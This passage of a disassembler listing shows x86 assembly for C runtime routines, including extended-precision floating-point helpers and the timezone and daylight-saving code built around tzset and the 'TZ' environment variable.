[ebp+var_20] and ecx, 0FFFFh test ecx, ecx jnz short loc_43B419 mov dx, word ptr [ebp+var_30] add dx, 1 mov word ptr [ebp+var_30], dx mov eax, [ebp+arg_4] mov ecx, [eax+8] and ecx, 7FFFFFFFh test ecx, ecx jnz short loc_43B419 mov edx, [ebp+arg_4] cmp dword ptr [edx+4], 0 jnz short loc_43B419 mov eax, [ebp+arg_4] cmp dword ptr [eax], 0 jnz short loc_43B419 mov ecx, [ebp+arg_0] mov dword ptr [ecx+8], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+4], 0 mov eax, [ebp+arg_0] mov dword ptr [eax], 0 jmp loc_43B689 ; --------------------------------------------------------------------------- loc_43B419: ; CODE XREF: sub_43B250+178j ; sub_43B250+194j ... mov [ebp+var_28], 0 mov [ebp+var_1C], 0 jmp short loc_43B432 ; --------------------------------------------------------------------------- loc_43B429: ; CODE XREF: sub_43B250+29Cj mov ecx, [ebp+var_1C] add ecx, 1 mov [ebp+var_1C], ecx loc_43B432: ; CODE XREF: sub_43B250+1D7j cmp [ebp+var_1C], 5 jge loc_43B4F1 mov edx, [ebp+var_1C] shl edx, 1 mov [ebp+var_24], edx mov [ebp+var_8], 8 mov eax, 5 sub eax, [ebp+var_1C] mov [ebp+var_34], eax jmp short loc_43B461 ; --------------------------------------------------------------------------- loc_43B458: ; CODE XREF: sub_43B250+28Ej mov ecx, [ebp+var_34] sub ecx, 1 mov [ebp+var_34], ecx loc_43B461: ; CODE XREF: sub_43B250+206j cmp [ebp+var_34], 0 jle short loc_43B4E3 mov edx, [ebp+arg_0] add edx, [ebp+var_24] mov [ebp+var_38], edx mov eax, [ebp+arg_4] add eax, [ebp+var_8] mov [ebp+var_3C], eax mov ecx, [ebp+var_28] lea edx, [ebp+ecx+var_14] mov [ebp+var_40], edx mov eax, [ebp+var_38] xor ecx, ecx mov cx, [eax] mov edx, [ebp+var_3C] xor eax, eax mov ax, [edx] imul ecx, eax mov [ebp+var_44], ecx mov ecx, [ebp+var_40] push ecx mov edx, [ebp+var_44] push edx mov eax, [ebp+var_40] mov ecx, [eax] push ecx call sub_438200 add esp, 0Ch mov [ebp+var_48], eax cmp [ebp+var_48], 0 jz short loc_43B4CC mov edx, [ebp+var_28] mov ax, word ptr [ebp+edx+var_10] add ax, 1 mov ecx, [ebp+var_28] mov word ptr [ebp+ecx+var_10], ax loc_43B4CC: ; CODE XREF: sub_43B250+266j mov edx, [ebp+var_24] add edx, 2 mov [ebp+var_24], edx mov eax, [ebp+var_8] sub eax, 2 mov [ebp+var_8], eax jmp loc_43B458 ; --------------------------------------------------------------------------- loc_43B4E3: ; CODE XREF: sub_43B250+215j mov ecx, [ebp+var_28] add ecx, 2 mov [ebp+var_28], ecx jmp loc_43B429 ; --------------------------------------------------------------------------- loc_43B4F1: ; CODE XREF: sub_43B250+1E6j mov dx, word ptr [ebp+var_30] sub dx, 3FFEh mov word ptr [ebp+var_30], dx loc_43B4FE: ; CODE XREF: sub_43B250+2DBj movsx eax, word ptr [ebp+var_30] test eax, eax jle short loc_43B52D mov ecx, [ebp+var_C] and ecx, 80000000h test ecx, ecx jnz short loc_43B52D lea edx, [ebp+var_14] push edx call sub_4382F0 add esp, 4 mov ax, word ptr [ebp+var_30] sub ax, 1 mov word ptr [ebp+var_30], ax jmp short loc_43B4FE ; --------------------------------------------------------------------------- loc_43B52D: ; CODE XREF: sub_43B250+2B4j ; sub_43B250+2C1j movsx ecx, word ptr [ebp+var_30] test ecx, ecx jg short loc_43B58D mov dx, word ptr [ebp+var_30] sub dx, 1 mov word ptr [ebp+var_30], dx loc_43B541: ; CODE XREF: sub_43B250+32Aj movsx eax, word ptr [ebp+var_30] test eax, eax jge short loc_43B57C mov ecx, [ebp+var_14] and ecx, 0FFFFh and ecx, 1 test ecx, ecx jz short loc_43B562 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_43B562: ; CODE XREF: sub_43B250+307j lea eax, [ebp+var_14] push eax call sub_438350 add esp, 4 mov cx, word ptr [ebp+var_30] add cx, 1 mov word ptr [ebp+var_30], cx jmp short loc_43B541 ; --------------------------------------------------------------------------- loc_43B57C: ; CODE XREF: sub_43B250+2F7j cmp [ebp+var_4], 0 jz short loc_43B58D mov dx, word ptr [ebp+var_14] or dl, 1 mov word ptr [ebp+var_14], dx loc_43B58D: ; CODE XREF: sub_43B250+2E3j ; sub_43B250+330j mov eax, [ebp+var_14] and eax, 0FFFFh cmp eax, 8000h jg short loc_43B5AD mov ecx, [ebp+var_14] and ecx, 1FFFFh cmp ecx, 18000h jnz short loc_43B60E loc_43B5AD: ; CODE XREF: sub_43B250+34Aj cmp [ebp+var_14+2], 0FFFFFFFFh jnz short loc_43B605 mov [ebp+var_14+2], 0 cmp [ebp+var_10+2], 0FFFFFFFFh jnz short loc_43B5FA mov [ebp+var_10+2], 0 mov edx, [ebp+var_C+2] and edx, 0FFFFh cmp edx, 0FFFFh jnz short loc_43B5EC mov word ptr [ebp+var_C+2], 8000h mov ax, word ptr [ebp+var_30] add ax, 1 mov word ptr [ebp+var_30], ax jmp short loc_43B5F8 ; --------------------------------------------------------------------------- loc_43B5EC: ; CODE XREF: sub_43B250+386j mov cx, word ptr [ebp+var_C+2] add cx, 1 mov word ptr [ebp+var_C+2], cx loc_43B5F8: ; CODE XREF: sub_43B250+39Aj jmp short loc_43B603 ; --------------------------------------------------------------------------- loc_43B5FA: ; CODE XREF: sub_43B250+36Ej mov edx, [ebp+var_10+2] add edx, 1 mov [ebp+var_10+2], edx loc_43B603: ; CODE XREF: sub_43B250:loc_43B5F8j jmp short loc_43B60E ; --------------------------------------------------------------------------- loc_43B605: ; CODE XREF: sub_43B250+361j mov eax, [ebp+var_14+2] add eax, 1 mov [ebp+var_14+2], eax loc_43B60E: ; CODE XREF: sub_43B250+35Bj ; sub_43B250:loc_43B603j mov ecx, [ebp+var_30] and ecx, 0FFFFh cmp ecx, 7FFFh jl short loc_43B653 mov edx, [ebp+var_2C] and edx, 0FFFFh neg edx sbb edx, edx and edx, 80000000h add edx, 7FFF8000h mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_0] mov dword ptr [ecx+4], 0 mov edx, [ebp+arg_0] mov dword ptr [edx], 0 jmp short loc_43B689 ; --------------------------------------------------------------------------- loc_43B653: ; CODE XREF: sub_43B250+3CDj mov eax, [ebp+arg_0] mov cx, word ptr [ebp+var_14+2] mov [eax], cx mov edx, [ebp+arg_0] mov eax, [ebp+var_10] mov [edx+2], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+6], edx mov eax, [ebp+var_30] and eax, 0FFFFh mov ecx, [ebp+var_2C] and ecx, 0FFFFh or eax, ecx mov edx, [ebp+arg_0] mov [edx+0Ah], ax loc_43B689: ; CODE XREF: sub_43B250+EFj ; sub_43B250+122j ... mov esp, ebp pop ebp retn sub_43B250 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B690 proc near ; CODE XREF: sub_438500+914p ; sub_439080+288p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, offset dword_4534C8 sub eax, 60h mov [ebp+var_4], eax cmp [ebp+arg_4], 0 jnz short loc_43B6AC jmp loc_43B74F ; --------------------------------------------------------------------------- loc_43B6AC: ; CODE XREF: sub_43B690+15j cmp [ebp+arg_4], 0 jge short loc_43B6C5 mov ecx, [ebp+arg_4] neg ecx mov [ebp+arg_4], ecx mov edx, offset dword_453628 sub edx, 60h mov [ebp+var_4], edx loc_43B6C5: ; CODE XREF: sub_43B690+20j cmp [ebp+arg_8], 0 jnz short loc_43B6D3 mov eax, [ebp+arg_0] mov word ptr [eax], 0 loc_43B6D3: ; CODE XREF: sub_43B690+39j ; sub_43B690+6Aj ... cmp [ebp+arg_4], 0 jz short loc_43B74F mov ecx, [ebp+var_4] add ecx, 54h mov [ebp+var_4], ecx mov edx, [ebp+arg_4] and edx, 7 mov [ebp+var_18], edx mov eax, [ebp+arg_4] sar eax, 3 mov [ebp+arg_4], eax cmp [ebp+var_18], 0 jnz short loc_43B6FC jmp short loc_43B6D3 ; --------------------------------------------------------------------------- loc_43B6FC: ; CODE XREF: sub_43B690+68j mov ecx, [ebp+var_18] imul ecx, 0Ch mov edx, [ebp+var_4] add edx, ecx mov [ebp+var_8], edx mov eax, [ebp+var_8] xor ecx, ecx mov cx, [eax] cmp ecx, 8000h jl short loc_43B73D mov edx, [ebp+var_8] mov eax, [edx] mov [ebp+var_14], eax mov ecx, [edx+4] mov [ebp+var_10], ecx mov edx, [edx+8] mov [ebp+var_C], edx mov eax, [ebp+var_14+2] sub eax, 1 mov [ebp+var_14+2], eax lea ecx, [ebp+var_14] mov [ebp+var_8], ecx loc_43B73D: ; CODE XREF: sub_43B690+88j mov edx, [ebp+var_8] push edx mov eax, [ebp+arg_0] push eax call sub_43B250 add esp, 8 jmp short loc_43B6D3 ; --------------------------------------------------------------------------- loc_43B74F: ; CODE XREF: sub_43B690+17j ; sub_43B690+47j mov esp, ebp pop ebp retn sub_43B690 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B760 proc near ; CODE XREF: sub_439D20:loc_43A23Bp push ebp mov ebp, esp cmp dword_4E9568, 0 jnz short loc_43B79B push 0Bh call sub_425990 add esp, 4 cmp dword_4E9568, 0 jnz short loc_43B791 call sub_43B7C0 mov eax, dword_4E9568 add eax, 1 mov dword_4E9568, eax loc_43B791: ; CODE XREF: sub_43B760+1Dj push 0Bh call sub_425A30 add esp, 4 loc_43B79B: ; CODE XREF: sub_43B760+Aj pop ebp retn sub_43B760 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0Bh call sub_425990 add esp, 4 call sub_43B7C0 push 0Bh call sub_425A30 add esp, 4 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B7C0 proc near ; CODE XREF: sub_43B760+1Fp ; .XComp0:0043B7ADp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 push 0Ch call sub_425990 add esp, 4 mov dword_4E94B0, 0 mov dword_4534B8, 0FFFFFFFFh mov eax, dword_4534B8 mov dword_4534A8, eax push offset aTz ; "TZ" call sub_43C420 add esp, 4 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz loc_43B943 push 0Ch call sub_425A30 add esp, 4 push offset dword_4E94B8 call near ptr 2720000h nop cmp eax, 0FFFFFFFFh jz loc_43B93E mov dword_4E94B0, 1 mov ecx, dword_4E94B8 imul ecx, 3Ch mov dword_453410, ecx xor edx, edx mov dx, word_4E94FE test edx, edx jz short loc_43B869 mov eax, dword_4E950C imul eax, 3Ch mov ecx, dword_453410 add ecx, eax mov dword_453410, ecx loc_43B869: ; CODE XREF: sub_43B7C0+91j xor edx, edx mov dx, word_4E9552 test edx, edx jz short loc_43B89E cmp dword_4E9560, 0 jz short loc_43B89E mov dword_453414, 1 mov eax, dword_4E9560 sub eax, dword_4E950C imul eax, 3Ch mov dword_453418, eax jmp short loc_43B8B2 ; --------------------------------------------------------------------------- loc_43B89E: ; CODE XREF: sub_43B7C0+B4j ; sub_43B7C0+BDj mov dword_453414, 0 mov dword_453418, 0 loc_43B8B2: ; CODE XREF: sub_43B7C0+DCj lea ecx, [ebp+var_8] push ecx push 0 push 3Fh mov edx, off_45349C push edx push 0FFFFFFFFh push offset dword_4E94BC push 220h mov eax, dword_4E92F4 push eax nop call near ptr 28E1569h test eax, eax jz short loc_43B8EF cmp [ebp+var_8], 0 jnz short loc_43B8EF mov ecx, off_45349C mov byte ptr [ecx+3Fh], 0 jmp short loc_43B8F8 ; --------------------------------------------------------------------------- loc_43B8EF: ; CODE XREF: sub_43B7C0+11Bj ; sub_43B7C0+121j mov edx, off_45349C mov byte ptr [edx], 0 loc_43B8F8: ; CODE XREF: sub_43B7C0+12Dj lea eax, [ebp+var_8] push eax push 0 push 3Fh mov ecx, off_4534A0 push ecx push 0FFFFFFFFh push offset dword_4E9510 push 220h mov edx, dword_4E92F4 push edx call near ptr 28E1569h nop test eax, eax jz short loc_43B935 cmp [ebp+var_8], 0 jnz short loc_43B935 mov eax, off_4534A0 mov byte ptr [eax+3Fh], 0 jmp short loc_43B93E ; --------------------------------------------------------------------------- loc_43B935: ; CODE XREF: sub_43B7C0+162j ; sub_43B7C0+168j mov ecx, off_4534A0 mov byte ptr [ecx], 0 loc_43B93E: ; CODE XREF: sub_43B7C0+67j ; sub_43B7C0+173j jmp loc_43BB67 ; --------------------------------------------------------------------------- loc_43B943: ; CODE XREF: sub_43B7C0+49j mov edx, [ebp+var_C] movsx eax, byte ptr [edx] test eax, eax jz short loc_43B96D cmp dword_4E9564, 0 jz short loc_43B97C mov ecx, dword_4E9564 push ecx mov edx, [ebp+var_C] push edx call sub_422740 add esp, 8 test eax, eax jnz short loc_43B97C loc_43B96D: ; CODE XREF: sub_43B7C0+18Bj push 0Ch call sub_425A30 add esp, 4 jmp loc_43BB67 ; --------------------------------------------------------------------------- loc_43B97C: ; CODE XREF: sub_43B7C0+194j ; sub_43B7C0+1ABj push 2 mov eax, dword_4E9564 push eax call sub_41F970 add esp, 8 push 10Ch push offset aTzset_c ; "tzset.c" push 2 mov ecx, [ebp+var_C] push ecx call sub_41EBD0 add esp, 4 add eax, 1 push eax call sub_41EDD0 add esp, 10h mov dword_4E9564, eax cmp dword_4E9564, 0 jnz short loc_43B9CD push 0Ch call sub_425A30 add esp, 4 jmp loc_43BB67 ; --------------------------------------------------------------------------- loc_43B9CD: ; CODE XREF: sub_43B7C0+1FCj mov edx, [ebp+var_C] push edx mov eax, dword_4E9564 push eax call sub_422580 add esp, 8 push 0Ch call sub_425A30 add esp, 4 push 3 mov ecx, [ebp+var_C] push ecx mov edx, off_45349C push edx call sub_421470 add esp, 0Ch mov eax, off_45349C mov byte ptr [eax+3], 0 mov ecx, [ebp+var_C] add ecx, 3 mov [ebp+var_C], ecx mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 2Dh jnz short loc_43BA2D mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx loc_43BA2D: ; CODE XREF: sub_43B7C0+259j mov eax, [ebp+var_C] push eax call sub_421570 add esp, 4 imul eax, 0E10h mov dword_453410, eax loc_43BA44: ; CODE XREF: sub_43B7C0+2AEj mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] cmp edx, 2Bh jz short loc_43BA65 mov eax, [ebp+var_C] movsx ecx, byte ptr [eax] cmp ecx, 30h jl short loc_43BA70 mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 39h jg short loc_43BA70 loc_43BA65: ; CODE XREF: sub_43B7C0+28Dj mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx jmp short loc_43BA44 ; --------------------------------------------------------------------------- loc_43BA70: ; CODE XREF: sub_43B7C0+298j ; sub_43B7C0+2A3j mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 3Ah jnz loc_43BB15 mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+var_C] push edx call sub_421570 add esp, 4 imul eax, 3Ch mov ecx, dword_453410 add ecx, eax mov dword_453410, ecx loc_43BAA5: ; CODE XREF: sub_43B7C0+304j mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 30h jl short loc_43BAC6 mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] cmp edx, 39h jg short loc_43BAC6 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_43BAA5 ; --------------------------------------------------------------------------- loc_43BAC6: ; CODE XREF: sub_43B7C0+2EEj ; sub_43B7C0+2F9j mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] cmp edx, 3Ah jnz short loc_43BB15 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_C] push ecx call sub_421570 add esp, 4 mov edx, dword_453410 add edx, eax mov dword_453410, edx loc_43BAF4: ; CODE XREF: sub_43B7C0+353j mov eax, [ebp+var_C] movsx ecx, byte ptr [eax] cmp ecx, 30h jl short loc_43BB15 mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 39h jg short loc_43BB15 mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx jmp short loc_43BAF4 ; --------------------------------------------------------------------------- loc_43BB15: ; CODE XREF: sub_43B7C0+2B9j ; sub_43B7C0+30Fj ... cmp [ebp+var_4], 0 jz short loc_43BB29 mov edx, dword_453410 neg edx mov dword_453410, edx loc_43BB29: ; CODE XREF: sub_43B7C0+359j mov eax, [ebp+var_C] movsx ecx, byte ptr [eax] mov dword_453414, ecx cmp dword_453414, 0 jz short loc_43BB5E push 3 mov edx, [ebp+var_C] push edx mov eax, off_4534A0 push eax call sub_421470 add esp, 0Ch mov ecx, off_4534A0 mov byte ptr [ecx+3], 0 jmp short loc_43BB67 ; --------------------------------------------------------------------------- loc_43BB5E: ; CODE XREF: sub_43B7C0+37Cj mov edx, off_4534A0 mov byte ptr [edx], 0 loc_43BB67: ; CODE XREF: sub_43B7C0:loc_43B93Ej ; sub_43B7C0+1B7j ... mov esp, ebp pop ebp retn sub_43B7C0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push 0Bh call sub_425990 add esp, 4 mov eax, [ebp+8] push eax call sub_43BBA0 add esp, 4 mov [ebp-4], eax push 0Bh call sub_425A30 add esp, 4 mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43BBA0 proc near ; CODE XREF: .XComp0:0043BB82p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_453414, 0 jnz short loc_43BBB4 xor eax, eax jmp loc_43BE96 ; --------------------------------------------------------------------------- loc_43BBB4: ; CODE XREF: sub_43BBA0+Bj mov eax, [ebp+arg_0] mov ecx, [eax+14h] cmp ecx, dword_4534A8 jnz short loc_43BBD4 mov edx, [ebp+arg_0] mov eax, [edx+14h] cmp eax, dword_4534B8 jz loc_43BD9B loc_43BBD4: ; CODE XREF: sub_43BBA0+20j cmp dword_4E94B0, 0 jz loc_43BD55 xor ecx, ecx mov cx, word_4E9550 test ecx, ecx jnz short loc_43BC49 xor edx, edx mov dx, word_4E955E push edx xor eax, eax mov ax, word_4E955C push eax xor ecx, ecx mov cx, word_4E955A push ecx xor edx, edx mov dx, word_4E9558 push edx push 0 xor eax, eax mov ax, word_4E9554 push eax xor ecx, ecx mov cx, word_4E9556 push ecx xor edx, edx mov dx, word_4E9552 push edx mov eax, [ebp+arg_0] mov ecx, [eax+14h] push ecx push 1 push 1 call sub_43BEA0 add esp, 2Ch jmp short loc_43BC9A ; --------------------------------------------------------------------------- loc_43BC49: ; CODE XREF: sub_43BBA0+4Cj xor edx, edx mov dx, word_4E955E push edx xor eax, eax mov ax, word_4E955C push eax xor ecx, ecx mov cx, word_4E955A push ecx xor edx, edx mov dx, word_4E9558 push edx xor eax, eax mov ax, word_4E9556 push eax push 0 push 0 xor ecx, ecx mov cx, word_4E9552 push ecx mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax push 0 push 1 call sub_43BEA0 add esp, 2Ch loc_43BC9A: ; CODE XREF: sub_43BBA0+A7j xor ecx, ecx mov cx, word_4E94FC test ecx, ecx jnz short loc_43BD02 xor edx, edx mov dx, word_4E950A push edx xor eax, eax mov ax, word_4E9508 push eax xor ecx, ecx mov cx, word_4E9506 push ecx xor edx, edx mov dx, word_4E9504 push edx push 0 xor eax, eax mov ax, word_4E9500 push eax xor ecx, ecx mov cx, word_4E9502 push ecx xor edx, edx mov dx, word_4E94FE push edx mov eax, [ebp+arg_0] mov ecx, [eax+14h] push ecx push 1 push 0 call sub_43BEA0 add esp, 2Ch jmp short loc_43BD53 ; --------------------------------------------------------------------------- loc_43BD02: ; CODE XREF: sub_43BBA0+105j xor edx, edx mov dx, word_4E950A push edx xor eax, eax mov ax, word_4E9508 push eax xor ecx, ecx mov cx, word_4E9506 push ecx xor edx, edx mov dx, word_4E9504 push edx xor eax, eax mov ax, word_4E9502 push eax push 0 push 0 xor ecx, ecx mov cx, word_4E94FE push ecx mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax push 0 push 0 call sub_43BEA0 add esp, 2Ch loc_43BD53: ; CODE XREF: sub_43BBA0+160j jmp short loc_43BD9B ; --------------------------------------------------------------------------- loc_43BD55: ; CODE XREF: sub_43BBA0+3Bj push 0 push 0 push 0 push 2 push 0 push 0 push 1 push 4 mov ecx, [ebp+arg_0] mov edx, [ecx+14h] push edx push 1 push 1 call sub_43BEA0 add esp, 2Ch push 0 push 0 push 0 push 2 push 0 push 0 push 5 push 0Ah mov eax, [ebp+arg_0] mov ecx, [eax+14h] push ecx push 1 push 0 call sub_43BEA0 add esp, 2Ch loc_43BD9B: ; CODE XREF: sub_43BBA0+2Ej ; sub_43BBA0:loc_43BD53j mov edx, dword_4534AC cmp edx, dword_4534BC jge short loc_43BDF4 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp ecx, dword_4534AC jl short loc_43BDC5 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp eax, dword_4534BC jle short loc_43BDCC loc_43BDC5: ; CODE XREF: sub_43BBA0+215j xor eax, eax jmp loc_43BE96 ; --------------------------------------------------------------------------- loc_43BDCC: ; CODE XREF: sub_43BBA0+223j mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp edx, dword_4534AC jle short loc_43BDF2 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp ecx, dword_4534BC jge short loc_43BDF2 mov eax, 1 jmp loc_43BE96 ; --------------------------------------------------------------------------- loc_43BDF2: ; CODE XREF: sub_43BBA0+238j ; sub_43BBA0+246j jmp short loc_43BE37 ; --------------------------------------------------------------------------- loc_43BDF4: ; CODE XREF: sub_43BBA0+207j mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp eax, dword_4534BC jl short loc_43BE10 mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp edx, dword_4534AC jle short loc_43BE17 loc_43BE10: ; CODE XREF: sub_43BBA0+260j mov eax, 1 jmp short loc_43BE96 ; --------------------------------------------------------------------------- loc_43BE17: ; CODE XREF: sub_43BBA0+26Ej mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp ecx, dword_4534BC jle short loc_43BE37 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp eax, dword_4534AC jge short loc_43BE37 xor eax, eax jmp short loc_43BE96 ; --------------------------------------------------------------------------- loc_43BE37: ; CODE XREF: sub_43BBA0:loc_43BDF2j ; sub_43BBA0+283j ... mov ecx, [ebp+arg_0] mov edx, [ecx+4] imul edx, 3Ch mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, edx mov edx, [ebp+arg_0] mov eax, [edx+8] imul eax, 0E10h add ecx, eax imul ecx, 3E8h mov [ebp+var_4], ecx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp edx, dword_4534AC jnz short loc_43BE82 mov eax, [ebp+var_4] cmp eax, dword_4534B0 jl short loc_43BE7E mov eax, 1 jmp short loc_43BE96 ; --------------------------------------------------------------------------- loc_43BE7E: ; CODE XREF: sub_43BBA0+2D5j xor eax, eax jmp short loc_43BE96 ; --------------------------------------------------------------------------- loc_43BE82: ; CODE XREF: sub_43BBA0+2CAj mov ecx, [ebp+var_4] cmp ecx, dword_4534C0 jge short loc_43BE94 mov eax, 1 jmp short loc_43BE96 ; --------------------------------------------------------------------------- loc_43BE94: ; CODE XREF: sub_43BBA0+2EBj xor eax, eax loc_43BE96: ; CODE XREF: sub_43BBA0+Fj ; sub_43BBA0+227j ... mov esp, ebp pop ebp retn sub_43BBA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43BEA0 proc near ; CODE XREF: sub_43BBA0+9Fp ; sub_43BBA0+F2p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp sub esp, 14h cmp [ebp+arg_4], 1 jnz loc_43BF7C mov eax, [ebp+arg_8] and eax, 3 test eax, eax jnz short loc_43BEC9 mov ecx, [ebp+arg_C] mov edx, dword_453780[ecx*4] mov [ebp+var_C], edx jmp short loc_43BED6 ; --------------------------------------------------------------------------- loc_43BEC9: ; CODE XREF: sub_43BEA0+18j mov eax, [ebp+arg_C] mov ecx, dword_4537B4[eax*4] mov [ebp+var_C], ecx loc_43BED6: ; CODE XREF: sub_43BEA0+27j mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_8], edx mov eax, [ebp+arg_8] sub eax, 46h imul eax, 16Dh mov ecx, [ebp+var_8] add ecx, eax mov edx, [ebp+arg_8] sub edx, 1 sar edx, 2 lea eax, [ecx+edx-0Dh] cdq mov ecx, 7 idiv ecx mov [ebp+var_4], edx mov edx, [ebp+var_4] cmp edx, [ebp+arg_14] jg short loc_43BF29 mov eax, [ebp+arg_14] sub eax, [ebp+var_4] mov ecx, [ebp+arg_10] sub ecx, 1 imul ecx, 7 add ecx, [ebp+var_8] add ecx, eax mov [ebp+var_8], ecx jmp short loc_43BF3D ; --------------------------------------------------------------------------- loc_43BF29: ; CODE XREF: sub_43BEA0+6Ej mov edx, [ebp+arg_14] sub edx, [ebp+var_4] mov eax, [ebp+arg_10] imul eax, 7 add eax, [ebp+var_8] add eax, edx mov [ebp+var_8], eax loc_43BF3D: ; CODE XREF: sub_43BEA0+87j cmp [ebp+arg_10], 5 jnz short loc_43BF7A mov ecx, [ebp+arg_8] and ecx, 3 test ecx, ecx jnz short loc_43BF5C mov edx, [ebp+arg_C] mov eax, dword_453784[edx*4] mov [ebp+var_10], eax jmp short loc_43BF69 ; --------------------------------------------------------------------------- loc_43BF5C: ; CODE XREF: sub_43BEA0+ABj mov ecx, [ebp+arg_C] mov edx, dword_4537B8[ecx*4] mov [ebp+var_10], edx loc_43BF69: ; CODE XREF: sub_43BEA0+BAj mov eax, [ebp+var_8] cmp eax, [ebp+var_10] jle short loc_43BF7A mov ecx, [ebp+var_8] sub ecx, 7 mov [ebp+var_8], ecx loc_43BF7A: ; CODE XREF: sub_43BEA0+A1j ; sub_43BEA0+CFj jmp short loc_43BFB1 ; --------------------------------------------------------------------------- loc_43BF7C: ; CODE XREF: sub_43BEA0+Aj mov edx, [ebp+arg_8] and edx, 3 test edx, edx jnz short loc_43BF95 mov eax, [ebp+arg_C] mov ecx, dword_453780[eax*4] mov [ebp+var_14], ecx jmp short loc_43BFA2 ; --------------------------------------------------------------------------- loc_43BF95: ; CODE XREF: sub_43BEA0+E4j mov edx, [ebp+arg_C] mov eax, dword_4537B4[edx*4] mov [ebp+var_14], eax loc_43BFA2: ; CODE XREF: sub_43BEA0+F3j mov ecx, [ebp+var_14] mov [ebp+var_8], ecx mov edx, [ebp+var_8] add edx, [ebp+arg_18] mov [ebp+var_8], edx loc_43BFB1: ; CODE XREF: sub_43BEA0:loc_43BF7Aj cmp [ebp+arg_0], 1 jnz short loc_43BFF1 mov eax, [ebp+var_8] mov dword_4534AC, eax mov ecx, [ebp+arg_1C] imul ecx, 3Ch mov edx, [ebp+arg_20] add edx, ecx imul edx, 3Ch mov eax, [ebp+arg_24] add eax, edx imul eax, 3E8h mov ecx, [ebp+arg_28] add ecx, eax mov dword_4534B0, ecx mov edx, [ebp+arg_8] mov dword_4534A8, edx jmp loc_43C094 ; --------------------------------------------------------------------------- loc_43BFF1: ; CODE XREF: sub_43BEA0+115j mov eax, [ebp+var_8] mov dword_4534BC, eax mov ecx, [ebp+arg_1C] imul ecx, 3Ch mov edx, [ebp+arg_20] add edx, ecx imul edx, 3Ch mov eax, [ebp+arg_24] add eax, edx imul eax, 3E8h mov ecx, [ebp+arg_28] add ecx, eax mov dword_4534C0, ecx mov edx, dword_453418 imul edx, 3E8h mov eax, dword_4534C0 add eax, edx mov dword_4534C0, eax cmp dword_4534C0, 0 jge short loc_43C061 mov ecx, dword_4534C0 add ecx, 5265C00h mov dword_4534C0, ecx mov edx, dword_4534BC sub edx, 1 mov dword_4534BC, edx jmp short loc_43C08B ; --------------------------------------------------------------------------- loc_43C061: ; CODE XREF: sub_43BEA0+19Cj cmp dword_4534C0, 5265C00h jl short loc_43C08B mov eax, dword_4534C0 sub eax, 5265C00h mov dword_4534C0, eax mov ecx, dword_4534BC add ecx, 1 mov dword_4534BC, ecx loc_43C08B: ; CODE XREF: sub_43BEA0+1BFj ; sub_43BEA0+1CBj mov edx, [ebp+arg_8] mov dword_4534B8, edx loc_43C094: ; CODE XREF: sub_43BEA0+14Cj mov esp, ebp pop ebp retn sub_43BEA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S 